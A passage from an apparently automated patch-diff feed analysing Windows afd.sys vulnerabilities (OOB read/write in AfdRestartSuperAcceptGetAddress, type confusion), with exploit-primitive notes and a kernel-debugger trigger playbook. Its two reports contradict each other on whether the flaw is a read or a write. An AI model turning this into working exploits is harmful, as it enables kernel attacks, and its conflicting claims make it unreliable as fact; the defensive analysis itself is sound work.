&lt;span class="mh"&gt;0x1c0065954&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0065958&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;safe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Interface:&lt;/strong&gt; A user-mode application performs an AcceptEx on an AFD (&lt;code&gt;\Device\Afd&lt;/code&gt;) listening socket; this reaches AFD as &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; (IOCTL_AFD_SUPER_ACCEPT), driving the SuperAccept code path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Address Retrieval:&lt;/strong&gt; During SuperAccept, AFD issues a TDI query to obtain the accepted connection's transport address; the result is placed in the MDL-mapped buffer processed by &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Length Field:&lt;/strong&gt; The 16-bit length field at data offset &lt;code&gt;+8&lt;/code&gt; in the returned buffer, when &lt;code&gt;+2&lt;/code&gt;, is greater than the actual returned data size but less than the remaining MDL buffer size (&lt;code&gt;ByteCount - offset&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Logic State:&lt;/strong&gt; The feature flag &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_499346745_59190809)&lt;/code&gt; (&lt;code&gt;sub_1c0015714&lt;/code&gt;) must return &lt;code&gt;FALSE&lt;/code&gt; (its default/unpatched state) to take the vulnerable code path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; The AcceptEx output buffer (the local/remote transport addresses returned to user mode) is populated with the address data followed by up to 10 bytes read from beyond the end of the mapped buffer. No BSOD is expected unless the overread crosses an unmapped page boundary.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Kernel information disclosure. The &lt;code&gt;memmove&lt;/code&gt; reads its source from &lt;code&gt;destination + 0xa&lt;/code&gt; but the copy length is bounded (in the vulnerable path) by &lt;code&gt;MdlAddress-&amp;gt;ByteCount - offset&lt;/code&gt; rather than &lt;code&gt;returned_length - 0xa&lt;/code&gt;, so the read can extend up to 10 bytes past the end of the MDL-mapped buffer. Those trailing bytes are whatever memory immediately follows the buffer's mapping, and they are written back into the AcceptEx address output surfaced to user mode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-arrangeable condition:&lt;/strong&gt; The &lt;code&gt;ByteCount&lt;/code&gt; used for the clamp is the size of the AcceptEx output buffer supplied by the user-mode caller. By sizing that buffer so that &lt;code&gt;ByteCount - offset&lt;/code&gt; sits at or just above the returned address length, the caller drives the copy length up to &lt;code&gt;ByteCount - offset&lt;/code&gt; while the source remains shifted by &lt;code&gt;+0xa&lt;/code&gt;, producing the overread. The operation is repeatable across AcceptEx calls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable impact:&lt;/strong&gt; Up to 10 bytes of adjacent kernel memory are disclosed to user mode per triggering call. No out-of-bounds write, control-flow hijack, or memory corruption is present in this routine, so any further use of the disclosed bytes is out of scope for what this change demonstrates.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Debugger PoC Playbook&lt;/h3&gt;
&lt;p&gt;For an analyst with a kernel debugger (KD/WinDbg) attached to the unpatched binary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp afd_unpatched!AfdRestartSuperAcceptGetAddress&lt;/code&gt; (&lt;code&gt;sub_1c0065660&lt;/code&gt;, function entry)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp afd_unpatched!sub_1c0065660+0x15c&lt;/code&gt; (call to &lt;code&gt;memmove&lt;/code&gt; performing the OOB read, &lt;code&gt;0x1c00657bc&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;bp afd_unpatched!sub_1c0065660+0x10f&lt;/code&gt; (feature flag check, &lt;code&gt;0x1c006576f&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;At the feature flag check: Step over the &lt;code&gt;call 0x1c0015714&lt;/code&gt;. If &lt;code&gt;eax&lt;/code&gt; returns &lt;code&gt;0&lt;/code&gt;, the vulnerable path is taken. &lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At &lt;code&gt;0x1c00657bc&lt;/code&gt; (the &lt;code&gt;call 0x1c000c900&lt;/code&gt;): &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt; = Destination pointer (&lt;code&gt;MappedSystemVa + offset&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt; = Source pointer (&lt;code&gt;rcx + 0xa&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8d&lt;/code&gt; = Computed copy length (clamped against MDL &lt;code&gt;ByteCount&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r15d&lt;/code&gt; = Actual returned data length.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;r8d &amp;gt; (r15d - 0xa)&lt;/code&gt;, the read is out of bounds. The memory accessed at &lt;code&gt;[rdx + r8d]&lt;/code&gt; will exceed the MDL mapping boundary.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Key Instructions/Offsets:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c006579f&lt;/code&gt; (&lt;code&gt;mov ecx, dword [rdx+0x28]&lt;/code&gt;): The instruction that improperly reads the MDL &lt;code&gt;ByteCount&lt;/code&gt; to clamp the copy length instead of using the returned data size.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;0x1c00657bc&lt;/code&gt;: The &lt;code&gt;memmove&lt;/code&gt; call executing the OOB read.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Set up an AFD listening socket and issue an AcceptEx.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Drive the SuperAccept path so &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; processes a transport-address buffer whose length field at offset &lt;code&gt;+8&lt;/code&gt; exceeds the actual returned data size by up to ~10 bytes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt; 
  Upon hitting &lt;code&gt;0x1c00657bc&lt;/code&gt;, inspect the source and destination pointers in &lt;code&gt;rcx&lt;/code&gt; and &lt;code&gt;rdx&lt;/code&gt;. Use &lt;code&gt;!pte &amp;lt;rdx+r8d&amp;gt;&lt;/code&gt; to observe that the copy operation crosses the end of the mapped buffer. After executing the &lt;code&gt;call&lt;/code&gt;, inspect the AcceptEx address output returned to user mode; the trailing bytes will contain memory read from beyond the mapped buffer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;p&gt;Two of the changed functions carry the primary security fix (Finding A): &lt;code&gt;AfdSanConnectHandler (sub_1C00772A0 unpatched / sub_1C00771B0 patched)&lt;/code&gt; and &lt;code&gt;AfdSanAcceptCore (sub_1C007608C)&lt;/code&gt;. In both, the unpatched build gates the address-copy bounds clamp behind &lt;code&gt;g_Feature_232206649_59779869&lt;/code&gt; and retains an unclamped legacy copy path as the default; the patched build removes that feature flag and applies the clamp unconditionally (see Section 2, Finding A). These are the out-of-bounds write fix, not cosmetic changes.&lt;/p&gt;
&lt;p&gt;The following functions (&lt;code&gt;AfdSocketTransferEnd (sub_1C005B160)&lt;/code&gt;, &lt;code&gt;AfdSocketTransferBegin (sub_1C005B340)&lt;/code&gt;, &lt;code&gt;AfdQueryProviderInfo (sub_1C0036B40)&lt;/code&gt;, &lt;code&gt;AfdFreeTransportInfo (sub_1C0036BF8)&lt;/code&gt;, &lt;code&gt;AfdGetTransportInfo (sub_1C00369B0)&lt;/code&gt;, &lt;code&gt;WskTdiCreateCO (sub_1C0043978)&lt;/code&gt;, &lt;code&gt;WskTdiCreateAO (sub_1C004359C)&lt;/code&gt;, &lt;code&gt;AfdTdiCreateAO (sub_1C003AE08)&lt;/code&gt;, &lt;code&gt;AfdWaitForListen (sub_1C00589B0)&lt;/code&gt;) add device-attachment reference validation (&lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; / &lt;code&gt;IoGetRelatedDeviceObject&lt;/code&gt;) gated behind newly added feature flags (&lt;code&gt;g_Feature_3082489147_60797107&lt;/code&gt;, &lt;code&gt;g_Feature_3420192058&lt;/code&gt;), with the original path retained in the disabled branch. Because the old path is kept and the checks are feature-gated, this is staged defense-in-depth rather than a delivered, unconditionally-enforced fix. &lt;code&gt;AfdGetInformation (sub_1C00360D0)&lt;/code&gt; and &lt;code&gt;AfdUnload (sub_1C003D2A0)&lt;/code&gt; only pick up the same feature-gated device-reference plumbing plus renumbering. &lt;code&gt;AfdBind (sub_1C0034AD0)&lt;/code&gt; is a control-flow simplification (a removed feature gate and a transport-info structure offset shift from &lt;code&gt;0x38&lt;/code&gt; to &lt;code&gt;0x40&lt;/code&gt;) with no change to the reachability of its raw-socket security check.&lt;/p&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;p&gt;No unmatched functions were added or removed in the patched binary.&lt;/p&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. For both findings the two builds directly show a bounds clamp that is feature-gated (with an unsafe default path) in the unpatched binary and unconditional in the patched binary. Finding A is an unclamped &lt;code&gt;memmove&lt;/code&gt; length (source length field) versus a capacity clamp; Finding B is a clamp against the MDL &lt;code&gt;ByteCount&lt;/code&gt; versus the actual returned data size.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; It is assumed the feature flags &lt;code&gt;g_Feature_232206649_59779869&lt;/code&gt; (Finding A) and &lt;code&gt;g_Feature_499346745_59190809&lt;/code&gt; (Finding B) return &lt;code&gt;FALSE&lt;/code&gt; in the default unpatched OS state, so the unsafe default paths are the ones taken. This is typical for Microsoft's phased rollout architecture, and the patched build hard-removes both flags in favor of the clamped paths.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification Needed:&lt;/strong&gt; For Finding A, confirm the size of the destination MDL-mapped SAN accept buffer and the maximum attainable value of the 16-bit source length field to bound how far the write reaches past the buffer. For Finding B, verify the page alignment and size of the MDL-mapped buffer to determine, for a given AcceptEx output-buffer size, whether the up-to-10-byte overread stays within the buffer's final mapped page or crosses into the following system mapping. &lt;code&gt;!pte&lt;/code&gt; on the source-plus-length address confirms whether the access leaves the mapped region.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Out-of-bounds write via missing 10-byte header reservation (CWE-787) in AfdRestartSuperAcceptGetAddress fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_a7fcd709-afd-report-20260626-133631.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/afd_a7fcd709-afd-report-20260626-133631.html</id><summary type="html">&lt;p&gt;KB5082123&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.979&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 1182 matched functions, 18 changed functions, 1164 identical functions, and 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch delivers two genuine hardening changes. The headline change is in the SuperAccept address-completion routine &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;: the unpatched build gates the correct copy-length clamp behind a runtime feature flag, and when that flag is off it omits the 10-byte reservation needed for the in-place buffer shift, allowing a bounded out-of-bounds write into the mapped transport-address buffer (CWE-787). The patched build removes the gate and always clamps. A second genuine change removes a feature-flag gate that could skip device-stack validation during accept/connect (CWE-843). Two further changes — an added, feature-gated callback-serialization counter at endpoint offset +0xf8, and a reference-count ordering tweak in &lt;code&gt;AfdAddConnectedReference&lt;/code&gt; — are feature-staged (the old behavior is retained in an else-branch) and are not demonstrable vulnerabilities in the unpatched build.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Out-of-Bounds Write in SuperAccept Address Copy&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-bounds Write (CWE-787)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; (unpatched @ &lt;code&gt;0x1C006D7F0&lt;/code&gt;, patched @ &lt;code&gt;0x1C006D730&lt;/code&gt;) — the AcceptEx/SuperAccept IRP completion routine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The routine maps the transport-address buffer and shifts its contents forward by 10 (&lt;code&gt;0xa&lt;/code&gt;) bytes with &lt;code&gt;memmove(dst = ptr+0xa, src = ptr, size)&lt;/code&gt;. The copy length must therefore be clamped to leave 10 bytes of headroom at the destination. In the unpatched build the correct clamp (&lt;code&gt;size - 0xa&lt;/code&gt;) is gated behind &lt;code&gt;EvaluateCurrentState(g_Feature_298020153_59190810_FeatureDescriptorDetails)&lt;/code&gt;. When that flag evaluates false, the code instead clamps only to &lt;code&gt;MdlByteCount - offset&lt;/code&gt;, which does &lt;strong&gt;not&lt;/strong&gt; reserve the 10 bytes consumed by the &lt;code&gt;+0xa&lt;/code&gt; destination shift. As a result the &lt;code&gt;memmove&lt;/code&gt; destination can extend up to 10 bytes past the end of the mapped buffer, writing transport-supplied bytes into adjacent memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope / Correction of impact:&lt;/strong&gt; The overwrite is bounded to at most 10 bytes past the destination end. The &lt;code&gt;memmove&lt;/code&gt; source stays within the buffer (&lt;code&gt;src&lt;/code&gt; through &lt;code&gt;src + size&lt;/code&gt; where &lt;code&gt;size &amp;lt;= MdlByteCount - offset&lt;/code&gt;), so there is &lt;strong&gt;no&lt;/strong&gt; out-of-bounds read and no kernel-memory information disclosure. The store &lt;code&gt;mov [r15+rbp-2], di&lt;/code&gt; that follows is present identically in both builds and merely records the computed length; it is not part of the defect and not a separate corruption primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A local process issues an AcceptEx / &lt;code&gt;AFD_SUPER_ACCEPT&lt;/code&gt; operation on a listening socket over &lt;code&gt;\Device\Afd&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The IRP is dispatched to the TCP/IP transport, which completes it with the accepted connection's address data.&lt;/li&gt;
&lt;li&gt;Completion invokes &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;, which maps the address MDL and reads the length field at &lt;code&gt;[mapped + offset + 8]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;With the feature flag off, the length is clamped only against &lt;code&gt;MdlByteCount - offset&lt;/code&gt;, and &lt;code&gt;memmove&lt;/code&gt; shifts the data forward by 10 bytes, writing up to 10 bytes past the buffer end.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Feature-Staged Callback Serialization Counter (endpoint +0xf8)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Race Condition (CWE-362) — not demonstrated&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;AfdTLListenComplete&lt;/code&gt; (unpatched @ &lt;code&gt;0x1C005FC10&lt;/code&gt;, patched @ &lt;code&gt;0x1C0060E90&lt;/code&gt;), &lt;code&gt;AfdSetInformation&lt;/code&gt;, &lt;code&gt;AfdQueryCompartmentId&lt;/code&gt;, &lt;code&gt;AfdTLPauseUnPause&lt;/code&gt;, &lt;code&gt;AfdGetAddress&lt;/code&gt;, &lt;code&gt;AfdGetInformation&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What actually changed:&lt;/strong&gt; The patched build introduces a counter at endpoint offset &lt;code&gt;+0xf8&lt;/code&gt; that is atomically incremented before, and decremented after, TDI callback invocations, and adds a &lt;code&gt;while (*(rbx+0xf8) != 0) { pause; }&lt;/code&gt; spin-wait in &lt;code&gt;AfdTLListenComplete&lt;/code&gt; before its callback dispatch. The unpatched build contains no reference to offset &lt;code&gt;+0xf8&lt;/code&gt; in these paths at all (the endpoint structure grew by 8 bytes; e.g. the close-refcount field moved from &lt;code&gt;[rbx+0x158]&lt;/code&gt; to &lt;code&gt;[rbx+0x160]&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why this is not rated as a delivered fix:&lt;/strong&gt; Every &lt;code&gt;+0xf8&lt;/code&gt; increment/decrement and the spin-wait are gated behind &lt;code&gt;EvaluateCurrentState(g_Feature_3088522553_60513072_FeatureDescriptorDetails)&lt;/code&gt;, and each gate keeps the original counter-less path in the else-branch (&lt;code&gt;jz&lt;/code&gt; skips the counter when the flag is off). This is a staged rollout of a serialization mechanism, not an unconditionally delivered change. The callback dispatch is otherwise byte-for-byte equivalent between builds, and no use-after-free or double-free is demonstrable in the unpatched code, so the underlying race is not established.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Type Confusion via Bypassed Device-Stack Validation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Type Confusion (CWE-843)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;AfdCreateConnection&lt;/code&gt; (unpatched @ &lt;code&gt;0x1C0055BF0&lt;/code&gt;, patched @ &lt;code&gt;0x1C0056280&lt;/code&gt;), &lt;code&gt;AfdCreateConnection_Old&lt;/code&gt; (@ &lt;code&gt;0x1C0007DE4&lt;/code&gt; in both).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; During accept/connect the driver compares the device-stack base of the endpoint's connection object against that of the supplied handle (&lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; on each, then &lt;code&gt;cmp&lt;/code&gt;), returning &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;) on mismatch. In the unpatched build the entire comparison block is wrapped in &lt;code&gt;if (EvaluateCurrentState(g_Feature_1552108857_59735561_FeatureDescriptorDetails))&lt;/code&gt;; when the flag is false the check is skipped and execution falls through to &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt; without validating that the handle belongs to the same device stack. An attacker can then associate a handle from a different device stack with the AFD endpoint, causing subsequent I/O to interpret the wrong object type.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direction:&lt;/strong&gt; Correct. The patched build removes the gate entirely and performs the &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; comparison unconditionally (the only preceding branch is the &lt;code&gt;handle != NULL&lt;/code&gt; null-check), so the bypass path no longer exists.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; targets &lt;code&gt;\Device\Afd&lt;/code&gt; with an accept/connect request supplying an attacker-chosen handle.&lt;/li&gt;
&lt;li&gt;In the unpatched build the feature flag is off, so the device-stack comparison is skipped.&lt;/li&gt;
&lt;li&gt;The mismatched handle is attached to the AFD endpoint via &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 4: Reference-Count Ordering in AfdAddConnectedReference&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Race Condition (CWE-362) — not demonstrated&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;AfdAddConnectedReference&lt;/code&gt; (unpatched @ &lt;code&gt;0x1C0058F28&lt;/code&gt;, patched @ &lt;code&gt;0x1C0059A48&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What actually changed:&lt;/strong&gt; The unpatched build performs &lt;code&gt;lock inc [rbx+0x30]&lt;/code&gt; (the reference count) after &lt;code&gt;KeReleaseInStackQueuedSpinLock&lt;/code&gt;. The patched build can perform the same &lt;code&gt;lock inc&lt;/code&gt; before the release — but only when &lt;code&gt;EvaluateCurrentState(g_Feature_2476938553_60405306_FeatureDescriptorDetails)&lt;/code&gt; is true; when the flag is false it retains the original order (increment after release). The increment is an atomic &lt;code&gt;lock inc&lt;/code&gt; in both builds and in both branches, so the count is never torn regardless of lock position. This is a feature-staged ordering adjustment with the old path retained; no use-after-free is demonstrable.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; (High OOB write)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED ===&lt;/span&gt;
&lt;span class="c1"&gt;// ptr = MappedSystemVa + offset;  size field = *(ctx + 0x18)&lt;/span&gt;
&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// transport-supplied length + 2&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_298020153_59190810&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// FLAG ON: correct clamp, reserves 0xa for the +0xa destination shift&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
